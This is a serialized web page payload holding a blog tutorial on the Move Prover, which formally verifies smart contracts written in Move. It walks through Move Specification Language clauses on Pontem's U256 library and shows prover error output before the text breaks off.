[{"data":1,"prerenderedAt":166818},["ShallowReactive",2],{"blog-/blog/2022-09-16-move-prover":3,"featured-blog-posts":4542},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"author":10,"image":11,"date":15,"isFeatured":16,"tags":17,"onBlogPage":16,"body":20,"_type":4536,"_id":4537,"_source":4538,"_file":4539,"_stem":4540,"_extension":4541},"/blog/2022-09-16-move-prover","blog",false,"","The Move Prover: A Guide","A practical guide to the Move Prover - tutorial, case study, and specifications.","robert",{"src":12,"height":13,"width":14},"/posts/move-prover/move-prover-title.jpg",1019,1400,"2022-09-16",true,[18,19],"move","tutorial",{"type":21,"children":22,"toc":4522},"root",[23,46,58,65,70,75,80,90,95,111,116,122,127,141,146,308,321,326,348,383,394,400,405,416,429,791,805,825,871,884,904,1079,1084,1089,1117,1122,1737,1749,1761,1766,1780,1785,1800,1842,1847,1879,1884,1889,1902,2325,2352,2559,2564,2576,2815,2820,2828,2847,3203,3208,3366,3371,3378,3392,3398,3403,3408,3414,3427,3659,3665,3670,3690,3968,3973,3979,3991,3996,4010,4016,4052,4153,4175,4181,4186,4191,4464,4469,4487,4493,4498,4503,4516],{"type":24,"tag":25,"props":26,"children":27},"element","p",{},[28,31,37,39,44],{"type":29,"value":30},"text","Formal verification -- a powerful tool for ",{"type":24,"tag":32,"props":33,"children":34},"em",{},[35],{"type":29,"value":36},"proving",{"type":29,"value":38}," the correctness of your programs. How does it ",{"type":24,"tag":32,"props":40,"children":41},{},[42],{"type":29,"value":43},"actually",{"type":29,"value":45}," work? This blog post will provide practical tips to help you use the Move Prover to its fullest potential, as well as explore a real-world example of how we used formal verification to secure a smart contract.",{"type":24,"tag":25,"props":47,"children":48},{},[49,51,56],{"type":29,"value":50},"At a high level, formal verification allows you to provide a specification for the program. This specification is then checked against symbolic inputs, allowing you to prove that your code follows the specification for ",{"type":24,"tag":32,"props":52,"children":53},{},[54],{"type":29,"value":55},"all",{"type":29,"value":57}," possible inputs.",{"type":24,"tag":59,"props":60,"children":62},"h2",{"id":61},"move-prover",[63],{"type":29,"value":64},"Move Prover",{"type":24,"tag":25,"props":66,"children":67},{},[68],{"type":29,"value":69},"The Move Prover is an automated tool that allows developers to formally verify smart contracts written in the Move programming language.",{"type":24,"tag":25,"props":71,"children":72},{},[73],{"type":29,"value":74},"Move was primarily designed to facilitate automatic verification. Interestingly, the Move Prove operates on the Move bytecode itself, avoiding potential compiler bugs from interfering with prover correctness.",{"type":24,"tag":25,"props":76,"children":77},{},[78],{"type":29,"value":79},"The architecture of the tool consists of multiple components as illustrated below.",{"type":24,"tag":25,"props":81,"children":82},{},[83],{"type":24,"tag":84,"props":85,"children":89},"img",{"alt":86,"src":87,"title":88},"Move Prover arch","https://i.imgur.com/ti4vkTu.png","Move Prover Architecture",[],{"type":24,"tag":25,"props":91,"children":92},{},[93],{"type":29,"value":94},"First, the Move prover receives a Move source file (an input) that contains specifications of the intended behavior of the program. Those specifications are then extracted from the annotated source by the Move Parser. Consequently, the tool compiles the source code into Move bytecode which is verified and converted into a prover object model plus the specification system \"blueprint\".",{"type":24,"tag":25,"props":96,"children":97},{},[98,100,109],{"type":29,"value":99},"The model is translated into an intermediate language, called ",{"type":24,"tag":101,"props":102,"children":106},"a",{"href":103,"rel":104},"https://www.microsoft.com/en-us/research/project/boogie-an-intermediate-verification-language/",[105],"nofollow",[107],{"type":29,"value":108},"Boogie",{"type":29,"value":110},". This Boogie code is then passed to the Boogie verification system which generates the input for the solver using a \"verification condition generation\". The verification condition (VC) is passed to an automated theorem prover (Z3).",{"type":24,"tag":25,"props":112,"children":113},{},[114],{"type":29,"value":115},"Once the VC is passed to the Z3, the prover checks if the SMT formula is unsatisfiable. If so, it means that the specifications hold. Otherwise, a model that satisfies the conditions is generated and converted back into Boogie format in order to issue a diagnosis report. The diagnosis report is then reverted to a source-level error which parallels a standard compiler error.",{"type":24,"tag":59,"props":117,"children":119},{"id":118},"move-specification-language",[120],{"type":29,"value":121},"Move Specification Language",{"type":24,"tag":25,"props":123,"children":124},{},[125],{"type":29,"value":126},"Move MSL is a subset of the Move Language, which introduces support to statically describe the behavior about the correctness of a program with no implications on production.",{"type":24,"tag":25,"props":128,"children":129},{},[130,132,139],{"type":29,"value":131},"To better understand how to use the MSL, we will use ",{"type":24,"tag":101,"props":133,"children":136},{"href":134,"rel":135},"https://github.com/pontem-network/u256",[105],[137],{"type":29,"value":138},"Pontem's U256 library",{"type":29,"value":140},", an open source Move library which implements support for U256 numbers, as a case study.",{"type":24,"tag":25,"props":142,"children":143},{},[144],{"type":29,"value":145},"The U256 number is implemented as a struct which contains 4 u64 numbers.",{"type":24,"tag":147,"props":148,"children":152},"pre",{"code":149,"language":150,"meta":7,"className":151,"style":7},"struct U256 has copy, drop, store {\n v0: u64,\n v1: u64,\n v2: u64,\n v3: u64,\n}\n","rust","language-rust shiki shiki-themes slack-dark",[153],{"type":24,"tag":154,"props":155,"children":156},"code",{"__ignoreMap":7},[157,211,236,257,278,299],{"type":24,"tag":158,"props":159,"children":162},"span",{"class":160,"line":161},"line",1,[163,169,175,181,186,192,197,201,206],{"type":24,"tag":158,"props":164,"children":166},{"style":165},"--shiki-default:#569CD6",[167],{"type":29,"value":168},"struct",{"type":24,"tag":158,"props":170,"children":172},{"style":171},"--shiki-default:#4EC9B0",[173],{"type":29,"value":174}," U256",{"type":24,"tag":158,"props":176,"children":178},{"style":177},"--shiki-default:#9CDCFE",[179],{"type":29,"value":180}," has",{"type":24,"tag":158,"props":182,"children":183},{"style":177},[184],{"type":29,"value":185}," copy",{"type":24,"tag":158,"props":187,"children":189},{"style":188},"--shiki-default:#E6E6E6",[190],{"type":29,"value":191},", ",{"type":24,"tag":158,"props":193,"children":194},{"style":177},[195],{"type":29,"value":196},"drop",{"type":24,"tag":158,"props":198,"children":199},{"style":188},[200],{"type":29,"value":191},{"type":24,"tag":158,"props":202,"children":203},{"style":177},[204],{"type":29,"value":205},"store",{"type":24,"tag":158,"props":207,"children":208},{"style":188},[209],{"type":29,"value":210}," {\n",{"type":24,"tag":158,"props":212,"children":214},{"class":160,"line":213},2,[215,220,226,231],{"type":24,"tag":158,"props":216,"children":217},{"style":177},[218],{"type":29,"value":219}," v0",{"type":24,"tag":158,"props":221,"children":223},{"style":222},"--shiki-default:#D4D4D4",[224],{"type":29,"value":225},":",{"type":24,"tag":158,"props":227,"children":228},{"style":171},[229],{"type":29,"value":230}," u64",{"type":24,"tag":158,"props":232,"children":233},{"style":188},[234],{"type":29,"value":235},",\n",{"type":24,"tag":158,"props":237,"children":239},{"class":160,"line":238},3,[240,245,249,253],{"type":24,"tag":158,"props":241,"children":242},{"style":177},[243],{"type":29,"value":244}," v1",{"type":24,"tag":158,"props":246,"children":247},{"style":222},[248],{"type":29,"value":225},{"type":24,"tag":158,"props":250,"children":251},{"style":171},[252],{"type":29,"value":230},{"type":24,"tag":158,"props":254,"children":255},{"style":188},[256],{"type":29,"value":235},{"type":24,"tag":158,"props":258,"children":260},{"class":160,"line":259},4,[261,266,270,274],{"type":24,"tag":158,"props":262,"children":263},{"style":177},[264],{"type":29,"value":265}," v2",{"type":24,"tag":158,"props":267,"children":268},{"style":222},[269],{"type":29,"value":225},{"type":24,"tag":158,"props":271,"children":272},{"style":171},[273],{"type":29,"value":230},{"type":24,"tag":158,"props":275,"children":276},{"style":188},[277],{"type":29,"value":235},{"type":24,"tag":158,"props":279,"children":281},{"class":160,"line":280},5,[282,287,291,295],{"type":24,"tag":158,"props":283,"children":284},{"style":177},[285],{"type":29,"value":286}," v3",{"type":24,"tag":158,"props":288,"children":289},{"style":222},[290],{"type":29,"value":225},{"type":24,"tag":158,"props":292,"children":293},{"style":171},[294],{"type":29,"value":230},{"type":24,"tag":158,"props":296,"children":297},{"style":188},[298],{"type":29,"value":235},{"type":24,"tag":158,"props":300,"children":302},{"class":160,"line":301},6,[303],{"type":24,"tag":158,"props":304,"children":305},{"style":188},[306],{"type":29,"value":307},"}\n",{"type":24,"tag":25,"props":309,"children":310},{},[311,313,319],{"type":29,"value":312},"Now, let's consider the ",{"type":24,"tag":154,"props":314,"children":316},{"className":315},[],[317],{"type":29,"value":318},"add(a: U256, b: U256): U256",{"type":29,"value":320}," function. In order to verify the correctness of such a function, it might be useful to verify some of the group axioms, for example: commutativity and associativity.",{"type":24,"tag":25,"props":322,"children":323},{},[324],{"type":29,"value":325},"Specifications are declared in a specification block, which can be found in Move functions, as module member, or in a different file as a separate specification module.",{"type":24,"tag":25,"props":327,"children":328},{},[329,331,337,339,346],{"type":29,"value":330},"For example, if your file is ",{"type":24,"tag":154,"props":332,"children":334},{"className":333},[],[335],{"type":29,"value":336},"sources/u256.move",{"type":29,"value":338},", you can put specifications in ",{"type":24,"tag":101,"props":340,"children":343},{"href":341,"rel":342},"https://github.com/pontem-network/u256/blob/main/sources/u256.spec.move",[105],[344],{"type":29,"value":345},"sources/u256.spec.move",{"type":29,"value":347},".",{"type":24,"tag":147,"props":349,"children":351},{"code":350,"language":150,"meta":7,"className":151,"style":7},"spec add { ... }\n",[352],{"type":24,"tag":154,"props":353,"children":354},{"__ignoreMap":7},[355],{"type":24,"tag":158,"props":356,"children":357},{"class":160,"line":161},[358,363,368,373,378],{"type":24,"tag":158,"props":359,"children":360},{"style":177},[361],{"type":29,"value":362},"spec",{"type":24,"tag":158,"props":364,"children":365},{"style":177},[366],{"type":29,"value":367}," add",{"type":24,"tag":158,"props":369,"children":370},{"style":188},[371],{"type":29,"value":372}," { ",{"type":24,"tag":158,"props":374,"children":375},{"style":222},[376],{"type":29,"value":377},"...",{"type":24,"tag":158,"props":379,"children":380},{"style":188},[381],{"type":29,"value":382}," }\n",{"type":24,"tag":25,"props":384,"children":385},{},[386,388,393],{"type":29,"value":387},"The specifications placed inside the specification blocks are considered ",{"type":24,"tag":32,"props":389,"children":390},{},[391],{"type":29,"value":392},"Expressions",{"type":29,"value":347},{"type":24,"tag":395,"props":396,"children":398},"h3",{"id":397},"expressions",[399],{"type":29,"value":392},{"type":24,"tag":25,"props":401,"children":402},{},[403],{"type":29,"value":404},"Let's go over some common expressions.",{"type":24,"tag":25,"props":406,"children":407},{},[408,414],{"type":24,"tag":154,"props":409,"children":411},{"className":410},[],[412],{"type":29,"value":413},"aborts_if",{"type":29,"value":415}," defines when the function can abort. This is especially useful in the context of smart contract development, where an abort would cause the entire transaction to rollback.",{"type":24,"tag":25,"props":417,"children":418},{},[419,421,427],{"type":29,"value":420},"For example, the ",{"type":24,"tag":154,"props":422,"children":424},{"className":423},[],[425],{"type":29,"value":426},"add",{"type":29,"value":428}," function aborts if and only if the U256 addition overflows. Let's put these words into an expression:",{"type":24,"tag":147,"props":430,"children":432},{"code":431,"language":150,"meta":7,"className":151,"style":7},"const P64: u128 = 0x10000000000000000;\n\nspec fun value_of_U256(a: U256): num {\n a.v0 +\n a.v1 * P64 +\n a.v2 * P64 * P64 +\n a.v3 * P64 * P64 * P64\n}\n\nspec add {\n aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n}\n",[433],{"type":24,"tag":154,"props":434,"children":435},{"__ignoreMap":7},[436,474,482,535,557,587,624,666,674,682,698,783],{"type":24,"tag":158,"props":437,"children":438},{"class":160,"line":161},[439,444,449,453,458,463,469],{"type":24,"tag":158,"props":440,"children":441},{"style":165},[442],{"type":29,"value":443},"const",{"type":24,"tag":158,"props":445,"children":446},{"style":188},[447],{"type":29,"value":448}," P64",{"type":24,"tag":158,"props":450,"children":451},{"style":222},[452],{"type":29,"value":225},{"type":24,"tag":158,"props":454,"children":455},{"style":171},[456],{"type":29,"value":457}," u128",{"type":24,"tag":158,"props":459,"children":460},{"style":222},[461],{"type":29,"value":462}," =",{"type":24,"tag":158,"props":464,"children":466},{"style":465},"--shiki-default:#B5CEA8",[467],{"type":29,"value":468}," 0x10000000000000000",{"type":24,"tag":158,"props":470,"children":471},{"style":188},[472],{"type":29,"value":473},";\n",{"type":24,"tag":158,"props":475,"children":476},{"class":160,"line":213},[477],{"type":24,"tag":158,"props":478,"children":479},{"emptyLinePlaceholder":16},[480],{"type":29,"value":481},"\n",{"type":24,"tag":158,"props":483,"children":484},{"class":160,"line":238},[485,489,494,500,505,509,513,517,522,526,531],{"type":24,"tag":158,"props":486,"children":487},{"style":177},[488],{"type":29,"value":362},{"type":24,"tag":158,"props":490,"children":491},{"style":177},[492],{"type":29,"value":493}," fun",{"type":24,"tag":158,"props":495,"children":497},{"style":496},"--shiki-default:#DCDCAA",[498],{"type":29,"value":499}," value_of_U256",{"type":24,"tag":158,"props":501,"children":502},{"style":188},[503],{"type":29,"value":504},"(",{"type":24,"tag":158,"props":506,"children":507},{"style":177},[508],{"type":29,"value":101},{"type":24,"tag":158,"props":510,"children":511},{"style":222},[512],{"type":29,"value":225},{"type":24,"tag":158,"props":514,"children":515},{"style":171},[516],{"type":29,"value":174},{"type":24,"tag":158,"props":518,"children":519},{"style":188},[520],{"type":29,"value":521},")",{"type":24,"tag":158,"props":523,"children":524},{"style":222},[525],{"type":29,"value":225},{"type":24,"tag":158,"props":527,"children":528},{"style":177},[529],{"type":29,"value":530}," num",{"type":24,"tag":158,"props":532,"children":533},{"style":188},[534],{"type":29,"value":210},{"type":24,"tag":158,"props":536,"children":537},{"class":160,"line":259},[538,543,547,552],{"type":24,"tag":158,"props":539,"children":540},{"style":177},[541],{"type":29,"value":542}," a",{"type":24,"tag":158,"props":544,"children":545},{"style":222},[546],{"type":29,"value":347},{"type":24,"tag":158,"props":548,"children":549},{"style":188},[550],{"type":29,"value":551},"v0 ",{"type":24,"tag":158,"props":553,"children":554},{"style":222},[555],{"type":29,"value":556},"+\n",{"type":24,"tag":158,"props":558,"children":559},{"class":160,"line":280},[560,564,568,573,578,582],{"type":24,"tag":158,"props":561,"children":562},{"style":177},[563],{"type":29,"value":542},{"type":24,"tag":158,"props":565,"children":566},{"style":222},[567],{"type":29,"value":347},{"type":24,"tag":158,"props":569,"children":570},{"style":188},[571],{"type":29,"value":572},"v1 ",{"type":24,"tag":158,"props":574,"children":575},{"style":222},[576],{"type":29,"value":577},"*",{"type":24,"tag":158,"props":579,"children":580},{"style":171},[581],{"type":29,"value":448},{"type":24,"tag":158,"props":583,"children":584},{"style":222},[585],{"type":29,"value":586}," +\n",{"type":24,"tag":158,"props":588,"children":589},{"class":160,"line":301},[590,594,598,603,607,611,616,620],{"type":24,"tag":158,"props":591,"children":592},{"style":177},[593],{"type":29,"value":542},{"type":24,"tag":158,"props":595,"children":596},{"style":222},[597],{"type":29,"value":347},{"type":24,"tag":158,"props":599,"children":600},{"style":188},[601],{"type":29,"value":602},"v2 ",{"type":24,"tag":158,"props":604,"children":605},{"style":222},[606],{"type":29,"value":577},{"type":24,"tag":158,"props":608,"children":609},{"style":171},[610],{"type":29,"value":448},{"type":24,"tag":158,"props":612,"children":613},{"style":222},[614],{"type":29,"value":615}," *",{"type":24,"tag":158,"props":617,"children":618},{"style":171},[619],{"type":29,"value":448},{"type":24,"tag":158,"props":621,"children":622},{"style":222},[623],{"type":29,"value":586},{"type":24,"tag":158,"props":625,"children":627},{"class":160,"line":626},7,[628,632,636,641,645,649,653,657,661],{"type":24,"tag":158,"props":629,"children":630},{"style":177},[631],{"type":29,"value":542},{"type":24,"tag":158,"props":633,"children":634},{"style":222},[635],{"type":29,"value":347},{"type":24,"tag":158,"props":637,"children":638},{"style":188},[639],{"type":29,"value":640},"v3 ",{"type":24,"tag":158,"props":642,"children":643},{"style":222},[644],{"type":29,"value":577},{"type":24,"tag":158,"props":646,"children":647},{"style":171},[648],{"type":29,"value":448},{"type":24,"tag":158,"props":650,"children":651},{"style":222},[652],{"type":29,"value":615},{"type":24,"tag":158,"props":654,"children":655},{"style":171},[656],{"type":29,"value":448},{"type":24,"tag":158,"props":658,"children":659},{"style":222},[660],{"type":29,"value":615},{"type":24,"tag":158,"props":662,"children":663},{"style":171},[664],{"type":29,"value":665}," P64\n",{"type":24,"tag":158,"props":667,"children":669},{"class":160,"line":668},8,[670],{"type":24,"tag":158,"props":671,"children":672},{"style":188},[673],{"type":29,"value":307},{"type":24,"tag":158,"props":675,"children":677},{"class":160,"line":676},9,[678],{"type":24,"tag":158,"props":679,"children":680},{"emptyLinePlaceholder":16},[681],{"type":29,"value":481},{"type":24,"tag":158,"props":683,"children":685},{"class":160,"line":684},10,[686,690,694],{"type":24,"tag":158,"props":687,"children":688},{"style":177},[689],{"type":29,"value":362},{"type":24,"tag":158,"props":691,"children":692},{"style":177},[693],{"type":29,"value":367},{"type":24,"tag":158,"props":695,"children":696},{"style":188},[697],{"type":29,"value":210},{"type":24,"tag":158,"props":699,"children":701},{"class":160,"line":700},11,[702,707,711,715,719,724,729,733,737,742,746,751,755,759,763,767,771,775,779],{"type":24,"tag":158,"props":703,"children":704},{"style":177},[705],{"type":29,"value":706}," aborts_if",{"type":24,"tag":158,"props":708,"children":709},{"style":496},[710],{"type":29,"value":499},{"type":24,"tag":158,"props":712,"children":713},{"style":188},[714],{"type":29,"value":504},{"type":24,"tag":158,"props":716,"children":717},{"style":177},[718],{"type":29,"value":101},{"type":24,"tag":158,"props":720,"children":721},{"style":188},[722],{"type":29,"value":723},") ",{"type":24,"tag":158,"props":725,"children":726},{"style":222},[727],{"type":29,"value":728},"+",{"type":24,"tag":158,"props":730,"children":731},{"style":496},[732],{"type":29,"value":499},{"type":24,"tag":158,"props":734,"children":735},{"style":188},[736],{"type":29,"value":504},{"type":24,"tag":158,"props":738,"children":739},{"style":177},[740],{"type":29,"value":741},"b",{"type":24,"tag":158,"props":743,"children":744},{"style":188},[745],{"type":29,"value":723},{"type":24,"tag":158,"props":747,"children":748},{"style":222},[749],{"type":29,"value":750},">=",{"type":24,"tag":158,"props":752,"children":753},{"style":171},[754],{"type":29,"value":448},{"type":24,"tag":158,"props":756,"children":757},{"style":222},[758],{"type":29,"value":615},{"type":24,"tag":158,"props":760,"children":761},{"style":171},[762],{"type":29,"value":448},{"type":24,"tag":158,"props":764,"children":765},{"style":222},[766],{"type":29,"value":615},{"type":24,"tag":158,"props":768,"children":769},{"style":171},[770],{"type":29,"value":448},{"type":24,"tag":158,"props":772,"children":773},{"style":222},[774],{"type":29,"value":615},{"type":24,"tag":158,"props":776,"children":777},{"style":171},[778],{"type":29,"value":448},{"type":24,"tag":158,"props":780,"children":781},{"style":188},[782],{"type":29,"value":473},{"type":24,"tag":158,"props":784,"children":786},{"class":160,"line":785},12,[787],{"type":24,"tag":158,"props":788,"children":789},{"style":188},[790],{"type":29,"value":307},{"type":24,"tag":25,"props":792,"children":793},{},[794,796,803],{"type":29,"value":795},"We can observe in the snippet above, that we are allowed to call functions inside the spec block. However, the callee must either be an ",{"type":24,"tag":101,"props":797,"children":800},{"href":798,"rel":799},"https://github.com/move-language/move/blob/f7d5b1a3f4d622c17f540190fa4fa12323cb0bb8/language/move-prover/doc/user/spec-lang.md#builtin-functions",[105],[801],{"type":29,"value":802},"MSL function",{"type":29,"value":804},", or a pure Move function. A pure Move function can be defined as a function that does not modify the global state or use Move expression features unsupported by MSL.",{"type":24,"tag":25,"props":806,"children":807},{},[808,810,815,817,823],{"type":29,"value":809},"A common pattern for ",{"type":24,"tag":154,"props":811,"children":813},{"className":812},[],[814],{"type":29,"value":413},{"type":29,"value":816}," is ",{"type":24,"tag":154,"props":818,"children":820},{"className":819},[],[821],{"type":29,"value":822},"aborts_if false",{"type":29,"value":824},", which lets you prove that a function will never abort.",{"type":24,"tag":147,"props":826,"children":828},{"code":827,"language":150,"meta":7,"className":151,"style":7},"spec critical_function {\n aborts_if false;\n}\n",[829],{"type":24,"tag":154,"props":830,"children":831},{"__ignoreMap":7},[832,848,864],{"type":24,"tag":158,"props":833,"children":834},{"class":160,"line":161},[835,839,844],{"type":24,"tag":158,"props":836,"children":837},{"style":177},[838],{"type":29,"value":362},{"type":24,"tag":158,"props":840,"children":841},{"style":177},[842],{"type":29,"value":843}," critical_function",{"type":24,"tag":158,"props":845,"children":846},{"style":188},[847],{"type":29,"value":210},{"type":24,"tag":158,"props":849,"children":850},{"class":160,"line":213},[851,855,860],{"type":24,"tag":158,"props":852,"children":853},{"style":177},[854],{"type":29,"value":706},{"type":24,"tag":158,"props":856,"children":857},{"style":165},[858],{"type":29,"value":859}," false",{"type":24,"tag":158,"props":861,"children":862},{"style":188},[863],{"type":29,"value":473},{"type":24,"tag":158,"props":865,"children":866},{"class":160,"line":238},[867],{"type":24,"tag":158,"props":868,"children":869},{"style":188},[870],{"type":29,"value":307},{"type":24,"tag":25,"props":872,"children":873},{},[874,876,882],{"type":29,"value":875},"Another type of expression that we can use is ",{"type":24,"tag":154,"props":877,"children":879},{"className":878},[],[880],{"type":29,"value":881},"ensures",{"type":29,"value":883},". As the name suggests, it ensures that a certain condition is true at the end of a function's execution.",{"type":24,"tag":25,"props":885,"children":886},{},[887,889,894,896,902],{"type":29,"value":888},"In the case of the ",{"type":24,"tag":154,"props":890,"children":892},{"className":891},[],[893],{"type":29,"value":426},{"type":29,"value":895}," function, we want to ensure that the return value is the sum of the 2 parameters. Note that because ",{"type":24,"tag":897,"props":898,"children":899},"strong",{},[900],{"type":29,"value":901},"MSL uses unbounded numbers",{"type":29,"value":903},", we're able to very cleanly express this property without worrying about overflows.",{"type":24,"tag":147,"props":905,"children":907},{"code":906,"language":150,"meta":7,"className":151,"style":7},"spec add {\n aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n}\n",[908],{"type":24,"tag":154,"props":909,"children":910},{"__ignoreMap":7},[911,926,1005,1072],{"type":24,"tag":158,"props":912,"children":913},{"class":160,"line":161},[914,918,922],{"type":24,"tag":158,"props":915,"children":916},{"style":177},[917],{"type":29,"value":362},{"type":24,"tag":158,"props":919,"children":920},{"style":177},[921],{"type":29,"value":367},{"type":24,"tag":158,"props":923,"children":924},{"style":188},[925],{"type":29,"value":210},{"type":24,"tag":158,"props":927,"children":928},{"class":160,"line":213},[929,933,937,941,945,949,953,957,961,965,969,973,977,981,985,989,993,997,1001],{"type":24,"tag":158,"props":930,"children":931},{"style":177},[932],{"type":29,"value":706},{"type":24,"tag":158,"props":934,"children":935},{"style":496},[936],{"type":29,"value":499},{"type":24,"tag":158,"props":938,"children":939},{"style":188},[940],{"type":29,"value":504},{"type":24,"tag":158,"props":942,"children":943},{"style":177},[944],{"type":29,"value":101},{"type":24,"tag":158,"props":946,"children":947},{"style":188},[948],{"type":29,"value":723},{"type":24,"tag":158,"props":950,"children":951},{"style":222},[952],{"type":29,"value":728},{"type":24,"tag":158,"props":954,"children":955},{"style":496},[956],{"type":29,"value":499},{"type":24,"tag":158,"props":958,"children":959},{"style":188},[960],{"type":29,"value":504},{"type":24,"tag":158,"props":962,"children":963},{"style":177},[964],{"type":29,"value":741},{"type":24,"tag":158,"props":966,"children":967},{"style":188},[968],{"type":29,"value":723},{"type":24,"tag":158,"props":970,"children":971},{"style":222},[972],{"type":29,"value":750},{"type":24,"tag":158,"props":974,"children":975},{"style":171},[976],{"type":29,"value":448},{"type":24,"tag":158,"props":978,"children":979},{"style":222},[980],{"type":29,"value":615},{"type":24,"tag":158,"props":982,"children":983},{"style":171},[984],{"type":29,"value":448},{"type":24,"tag":158,"props":986,"children":987},{"style":222},[988],{"type":29,"value":615},{"type":24,"tag":158,"props":990,"children":991},{"style":171},[992],{"type":29,"value":448},{"type":24,"tag":158,"props":994,"children":995},{"style":222},[996],{"type":29,"value":615},{"type":24,"tag":158,"props":998,"children":999},{"style":171},[1000],{"type":29,"value":448},{"type":24,"tag":158,"props":1002,"children":1003},{"style":188},[1004],{"type":29,"value":473},{"type":24,"tag":158,"props":1006,"children":1007},{"class":160,"line":238},[1008,1013,1017,1021,1026,1030,1035,1039,1043,1047,1051,1055,1059,1063,1067],{"type":24,"tag":158,"props":1009,"children":1010},{"style":177},[1011],{"type":29,"value":1012}," ensures",{"type":24,"tag":158,"props":1014,"children":1015},{"style":496},[1016],{"type":29,"value":499},{"type":24,"tag":158,"props":1018,"children":1019},{"style":188},[1020],{"type":29,"value":504},{"type":24,"tag":158,"props":1022,"children":1023},{"style":177},[1024],{"type":29,"value":1025},"result",{"type":24,"tag":158,"props":1027,"children":1028},{"style":188},[1029],{"type":29,"value":723},{"type":24,"tag":158,"props":1031,"children":1032},{"style":222},[1033],{"type":29,"value":1034},"==",{"type":24,"tag":158,"props":1036,"children":1037},{"style":496},[1038],{"type":29,"value":499},{"type":24,"tag":158,"props":1040,"children":1041},{"style":188},[1042],{"type":29,"value":504},{"type":24,"tag":158,"props":1044,"children":1045},{"style":177},[1046],{"type":29,"value":101},{"type":24,"tag":158,"props":1048,"children":1049},{"style":188},[1050],{"type":29,"value":723},{"type":24,"tag":158,"props":1052,"children":1053},{"style":222},[1054],{"type":29,"value":728},{"type":24,"tag":158,"props":1056,"children":1057},{"style":496},[1058],{"type":29,"value":499},{"type":24,"tag":158,"props":1060,"children":1061},{"style":188},[1062],{"type":29,"value":504},{"type":24,"tag":158,"props":1064,"children":1065},{"style":177},[1066],{"type":29,"value":741},{"type":24,"tag":158,"props":1068,"children":1069},{"style":188},[1070],{"type":29,"value":1071},");\n",{"type":24,"tag":158,"props":1073,"children":1074},{"class":160,"line":259},[1075],{"type":24,"tag":158,"props":1076,"children":1077},{"style":188},[1078],{"type":29,"value":307},{"type":24,"tag":25,"props":1080,"children":1081},{},[1082],{"type":29,"value":1083},"Note that because Move specification functions are written in MSL, the numbers are unbounded and we can define the expression without risk of overflow.",{"type":24,"tag":25,"props":1085,"children":1086},{},[1087],{"type":29,"value":1088},"Let's try to prove the library with the specifications from above:",{"type":24,"tag":147,"props":1090,"children":1094},{"code":1091,"language":1092,"meta":7,"className":1093,"style":7},"$ move prove\n","bash","language-bash shiki shiki-themes slack-dark",[1095],{"type":24,"tag":154,"props":1096,"children":1097},{"__ignoreMap":7},[1098],{"type":24,"tag":158,"props":1099,"children":1100},{"class":160,"line":161},[1101,1106,1112],{"type":24,"tag":158,"props":1102,"children":1103},{"style":496},[1104],{"type":29,"value":1105},"$",{"type":24,"tag":158,"props":1107,"children":1109},{"style":1108},"--shiki-default:#CE9178",[1110],{"type":29,"value":1111}," move",{"type":24,"tag":158,"props":1113,"children":1114},{"style":1108},[1115],{"type":29,"value":1116}," prove\n",{"type":24,"tag":25,"props":1118,"children":1119},{},[1120],{"type":29,"value":1121},"It outputs the following error information:",{"type":24,"tag":147,"props":1123,"children":1125},{"code":1124,"language":1092,"meta":7,"className":1093,"style":7},"[...]\n\nerror: abort not covered by any of the `aborts_if` clauses\n╭ spec add {\n| aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n| ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n| }\n╰─────^\n\n[...]\n\n at ./sources/u256.move:316: add\n enter loop, variable(s) carry, i, ret havocked and reassigned\n carry = 54\n i = 3792\n ret = u256.U256{v0 = 26418, v1 = 27938, v2 = 6900, v3 = 1999}\n at ./sources/u256.move:346: add\n ABORTED\n\nFAILURE proving 1 modules from package `u256` in 9.143s\n{\n \"Error\": \"Move Prover failed: exiting with verification errors\"\n}\n",[1126],{"type":24,"tag":154,"props":1127,"children":1128},{"__ignoreMap":7},[1129,1137,1144,1206,1227,1318,1386,1398,1406,1413,1420,1427,1445,1507,1525,1543,1616,1633,1642,1650,1702,1711,1729],{"type":24,"tag":158,"props":1130,"children":1131},{"class":160,"line":161},[1132],{"type":24,"tag":158,"props":1133,"children":1134},{"style":188},[1135],{"type":29,"value":1136},"[...]\n",{"type":24,"tag":158,"props":1138,"children":1139},{"class":160,"line":213},[1140],{"type":24,"tag":158,"props":1141,"children":1142},{"emptyLinePlaceholder":16},[1143],{"type":29,"value":481},{"type":24,"tag":158,"props":1145,"children":1146},{"class":160,"line":238},[1147,1152,1157,1162,1167,1172,1177,1182,1187,1192,1196,1201],{"type":24,"tag":158,"props":1148,"children":1149},{"style":496},[1150],{"type":29,"value":1151},"error:",{"type":24,"tag":158,"props":1153,"children":1154},{"style":1108},[1155],{"type":29,"value":1156}," abort",{"type":24,"tag":158,"props":1158,"children":1159},{"style":1108},[1160],{"type":29,"value":1161}," not",{"type":24,"tag":158,"props":1163,"children":1164},{"style":1108},[1165],{"type":29,"value":1166}," covered",{"type":24,"tag":158,"props":1168,"children":1169},{"style":1108},[1170],{"type":29,"value":1171}," by",{"type":24,"tag":158,"props":1173,"children":1174},{"style":1108},[1175],{"type":29,"value":1176}," any",{"type":24,"tag":158,"props":1178,"children":1179},{"style":1108},[1180],{"type":29,"value":1181}," of",{"type":24,"tag":158,"props":1183,"children":1184},{"style":1108},[1185],{"type":29,"value":1186}," the",{"type":24,"tag":158,"props":1188,"children":1189},{"style":1108},[1190],{"type":29,"value":1191}," `",{"type":24,"tag":158,"props":1193,"children":1194},{"style":496},[1195],{"type":29,"value":413},{"type":24,"tag":158,"props":1197,"children":1198},{"style":1108},[1199],{"type":29,"value":1200},"`",{"type":24,"tag":158,"props":1202,"children":1203},{"style":496},[1204],{"type":29,"value":1205}," clauses\n",{"type":24,"tag":158,"props":1207,"children":1208},{"class":160,"line":259},[1209,1214,1219,1223],{"type":24,"tag":158,"props":1210,"children":1211},{"style":496},[1212],{"type":29,"value":1213},"╭",{"type":24,"tag":158,"props":1215,"children":1216},{"style":1108},[1217],{"type":29,"value":1218}," 